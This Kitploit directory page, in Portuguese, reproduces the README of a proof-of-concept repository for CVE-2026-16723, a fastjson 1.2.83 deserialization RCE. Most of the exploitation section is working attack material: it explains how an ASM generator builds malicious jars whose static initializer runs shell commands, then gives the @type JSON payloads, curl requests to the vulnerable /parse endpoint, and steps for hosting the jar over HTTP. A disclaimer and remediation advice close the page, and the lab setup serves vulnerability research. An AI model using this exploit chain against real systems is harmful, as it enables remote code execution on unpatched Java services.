Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-16723 — Reproduz o RCE do fastjson 1.2.83 via @JSONType com um alvo Spring Boot vulnerável e um gerador de payload baseado em ASM usando cadeias de jar por protocolo HTTP ou file. | Kitploit
Ferramentas/GitHubGitHub/superman-l/cve-2026-16723
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubsuperman-l/cve-2026-16723

CVE-2026-16723

Reproduz o RCE do fastjson 1.2.83 via @JSONType com um alvo Spring Boot vulnerável e um gerador de payload baseado em ASM usando cadeias de jar por protocolo HTTP ou file.

Ver Repositório
5há 22 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🚨 CVE-2026-16723 — RCE no fastjson 1.2.83 via cadeia de sondagem de recursos @JSONType

Java fastjson Type Environment Status

Projeto de reprodução de carregamento remoto de classes / execução de comandos no fastjson 1.2.66 ~ 1.2.83 usando anotação @JSONType + nome de classe ilegal + protocolo jar:.

⚠️ Aviso de isenção de responsabilidade

Este projeto destina-se exclusivamente a pesquisa de segurança, reprodução de vulnerabilidades e testes autorizados. É estritamente proibido utilizá-lo em qualquer sistema não autorizado, ataque ilegal ou finalidade maliciosa. Os usuários são integralmente responsáveis por suas próprias ações; o autor não se responsabiliza legalmente por qualquer uso indevido.


Artigo de referência para análise da vulnerabilidade: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w


📖 Visão geral do projeto

Este projeto monta um ambiente completo de reprodução da vulnerabilidade do fastjson 1.2.83 em torno de CVE-2026-16723:

  • demo/ — aplicação Web Spring Boot 2.7.18 vulnerável (com dependência do fastjson 1.2.83), que expõe o endpoint POST /parse e chama diretamente JSON.parse(json);
  • exp/ — gerador de jar de sonda maliciosa baseado em ASM (duas variantes: protocolo HTTP / protocolo FILE);
  • 环境/ — FatJars de três middlewares pré-compilados (Tomcat / Jetty / Undertow), prontos para uso.

Ideia central da exploração: ao construir um JSON especial com @type apontando para uma URL de jar, o fastjson percorre o ramo de confiança da anotação @JSONType → getResourceAsStream baixa o jar remoto/local → defineClass carrega a classe maliciosa → a inicialização da classe aciona <clinit> → execução arbitrária de comandos (RCE).


🎯 Visão geral da vulnerabilidade

ItemDescrição
CVECVE-2026-16723
ComponenteAlibaba fastjson
Versões afetadas1.2.66 ~ 1.2.83 (a última versão 1.x ainda é afetada)
Tipo de vulnerabilidadeExecução remota de código por desserialização (RCE)
Ponto de entradaJSON.parse(json) / JSON.parseObject(json) (sem especificar tipo concreto)
Pré-requisitosAlvo em Spring Boot FatJar, JDK 8, safeMode desativado

Condições de exploração

  1. Código alvo: utiliza JSON.parse(json) ou JSON.parseObject(json) para analisar diretamente entrada não confiável, com fastjson nas versões 1.2.66 ~ 1.2.83 e safeMode não ativado;
  2. Forma de execução do alvo: Spring Boot FatJar (iniciado com java -jar, LaunchedURLClassLoader; apenas Spring Boot ≤ 2.7 mantém a capacidade de fallback do Handler do protocolo jar:);
  3. JVM do alvo: JDK 8 (com JDK 9+, o defineClass lança ClassFormatError; no máximo, é possível apenas SSRF);
  4. Acessibilidade de rede: o alvo consegue acessar a porta HTTP da máquina do atacante (cadeia via protocolo HTTP) ou consegue ler um arquivo jar local (cadeia via protocolo FILE).

🧩 Princípio da vulnerabilidade

O checkAutoType do fastjson entra no ramo de confiança ao encontrar uma classe com anotação @JSONType, ignorando a maior parte das verificações da blacklist e permitindo o carregamento. Este projeto aproveita esse comportamento usando ASM para escrever o bytecode diretamente, gravando um [nome de classe interna ilegal] no this_class do constant pool da classe, alinhando perfeitamente os três nomes:

root@kitploit:~
@type        jar:http:..2130706433:19090.x!.y        (点形态,无斜杠)
resource     jar:http://2130706433:19090/x!/y.class   (点 -> 斜杠)
this_class   jar:http://2130706433:19090/x!/y         (字节码内部类名)

Estrutura da classe maliciosa:

  1. Anotação @JSONType — a chave que abre o ramo de confiança do checkAutoType do fastjson;
  2. Construtor padrão <init>()V — garante que o fastjson consiga instanciar a classe normalmente;
  3. Bloco de inicialização estática <clinit> — durante a inicialização do carregamento da classe, executa Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), realizando a execução de comandos.

Nomes de classe ilegais não podem ser escritos com javac; apenas o ASM consegue gravar a URL diretamente no constant pool — é por isso que o gerador deste projeto depende do asm-9.6.jar.


📁 Estrutura do projeto

root@kitploit:~
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查(http / file 协议两条命令)
├── demo/                        # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链(jar:http)
│   ├── GenProbefile.java        # FILE 协议链(jar:file)
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar(开箱即用)
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

Endpoint do laboratório

demo/src/main/java/com/example/demo/controller/VulController.java:

root@kitploit:~
@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型,直接解析不可信输入
    return "Parsed!";
}

🚀 Início rápido

1. Iniciar o laboratório vulnerável

O laboratório deve ser executado em ambiente JDK 8 (consistente com as condições de exploração).

root@kitploit:~
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run

Após a inicialização, o endereço do endpoint é: http://127.0.0.1:8080/parse


💥 Exploração da vulnerabilidade

Método 1: Cadeia via protocolo HTTP (jar:http, recomendado)

① Compilar o gerador

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② Gerar o jar de sonda maliciosa

root@kitploit:~
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
  • 19090 — porta HTTP de hospedagem do jar malicioso;
  • open -a Calculator — comando a ser executado na máquina alvo (abre a calculadora no macOS; no Linux, use id > /tmp/pwned 2>&1 e verifique se o arquivo foi criado).

Por padrão, o arquivo gerado é x (sem extensão), contendo y.class; o payload é:

root@kitploit:~
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ Hospedar o jar malicioso (serviço HTTP)

root@kitploit:~
python3 -m http.server 19090

Certifique-se de iniciar o python3 -m http.server no diretório onde o arquivo x foi gerado.

④ Enviar o payload ao alvo

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ Verificação

O resultado da execução do comando não é refletido na resposta HTTP; é preciso confirmar na máquina alvo:

root@kitploit:~
# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)

Método 2: Cadeia via protocolo FILE (jar:file)

Cenário de aplicação: o alvo não consegue acessar a porta HTTP da máquina do atacante (isolamento da rede interna / saída de rede restrita), mas é possível colocar o arquivo jar no sistema de arquivos da máquina alvo.

① Compilar o gerador

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbefile.java

② Gerar o jar de sonda no diretório correspondente ao alvo

root@kitploit:~
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

O gerador calcula a URL jar:file: com base no diretório atual (o separador de diretórios / é substituído por .). Por exemplo, se gerado em /tmp/project/exp, o payload será:

root@kitploit:~
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ Colocar o jar gerado no diretório correspondente da máquina alvo

Envie/copie o arquivo y gerado para o caminho absoluto correspondente ao @type na máquina alvo (por exemplo, /tmp/project/exp/y), mantendo a estrutura de diretórios consistente.

④ Enviar o payload ao alvo

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

Atenção: o caminho da cadeia via protocolo FILE deve ser exatamente igual ao caminho real do arquivo na máquina alvo; caso contrário, a sondagem de recursos falha e o carregamento não é acionado.


⚙️ Parâmetros dos geradores

GenProbeHttp (cadeia via protocolo HTTP)

ParâmetroValor padrãoDescrição
port19090Porta de hospedagem do jar malicioso
cmdid > /tmp/pwned 2>&1Comando a ser executado na máquina alvo
hostToken2130706433IP acessado pelo alvo, em forma de inteiro (127.0.0.1)
entryyNome da entrada da classe dentro do jar
outFilexNome do arquivo jar gerado (sem extensão)

GenProbefile (cadeia via protocolo FILE)

ParâmetroValor padrãoDescrição
port19090Parâmetro reservado (a cadeia FILE não utiliza porta)
cmdid > /tmp/pwned 2>&1Comando a ser executado na máquina alvo
dirDiretório atualDiretório do jar na máquina alvo (usado para gerar a URL jar:file:)
entryxNome da entrada da classe dentro do jar
outFileyNome do arquivo jar gerado (sem extensão)

Conversão do IP para forma de inteiro

2130706433 é o inteiro sem sinal de 32 bits de 127.0.0.1; escrever como inteiro evita que o . do IP seja corrompido pela lógica de substituição . → / do fastjson. Quando a máquina do atacante não é a máquina local:

root@kitploit:~
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 Perguntas frequentes

Erro autoType is not support. jar:http:...

Indica que o jar consegue ser baixado (SSRF confirmado), mas TypeUtils.loadClass retornou null. Praticamente há apenas dois motivos:

  1. A classe maliciosa não possui a anotação @JSONType — a sondagem não passa pelo ramo de confiança e nem chega a entrar no loadClass;
  2. O nome da classe interna da classe maliciosa não está alinhado com o @type — o nome da classe no defineClass não corresponde à realidade e o carregamento falha.

O gerador deste projeto já resolve esses dois pontos: anotação @JSONType + alinhamento dos três nomes.

Um único jar:http ainda não resulta em RCE?

Se o ClassLoader do alvo não for LaunchedURLClassLoader (por exemplo, execução direta pela IDE, pacote war comum, Spring Boot 3.x), a cadeia jar:http única não alcança RCE; no máximo, apenas SSRF pode ser confirmado.

Por que o JDK 8 é necessário?

O defineClass do JDK 9+ faz uma validação mais rígida de nomes de classe ilegais e lança ClassFormatError, interrompendo a cadeia na fase de carregamento.


🛡 Recomendações de correção

  1. Atualize o componente: o fastjson 1.x está descontinuado; recomenda-se migrar para fastjson2 (ou atualizar para uma versão corrigida) e acompanhar os avisos de segurança oficiais;
  2. Ative o safeMode: ParserConfig.getGlobalInstance().setSafeMode(true); desativa completamente o autoType;
  3. Evite analisar entrada não confiável: não chame JSON.parse(json) / JSON.parseObject(json) diretamente sobre a entrada do usuário; sempre que possível, use JSON.parseObject(json, Xxx.class) especificando explicitamente o tipo alvo;
  4. Use lista negra/branca: por meio de ParserConfig.addAccept(...), permita apenas classes confiáveis;
  5. Atualize Spring Boot / JDK: usar versões mais recentes de JDK e Spring Boot reduz a superfície de exploração;
  6. Minimize a exposição: aplique autenticação nos endpoints expostos à internet e utilize WAF para bloquear payloads suspeitos de @type.

📚 Referências

  • GitHub oficial do fastjson: https://github.com/alibaba/fastjson
  • Avisos de segurança / informações de vulnerabilidades do fastjson: https://github.com/alibaba/fastjson/wiki/security_update_guidance

Se este projeto foi útil para você, sinta-se à vontade para dar ⭐ Star em apoio à pesquisa de segurança e à documentação de vulnerabilidades.

⚠️ Use apenas em testes autorizados, nunca para fins ilegais!

Baixar ferramenta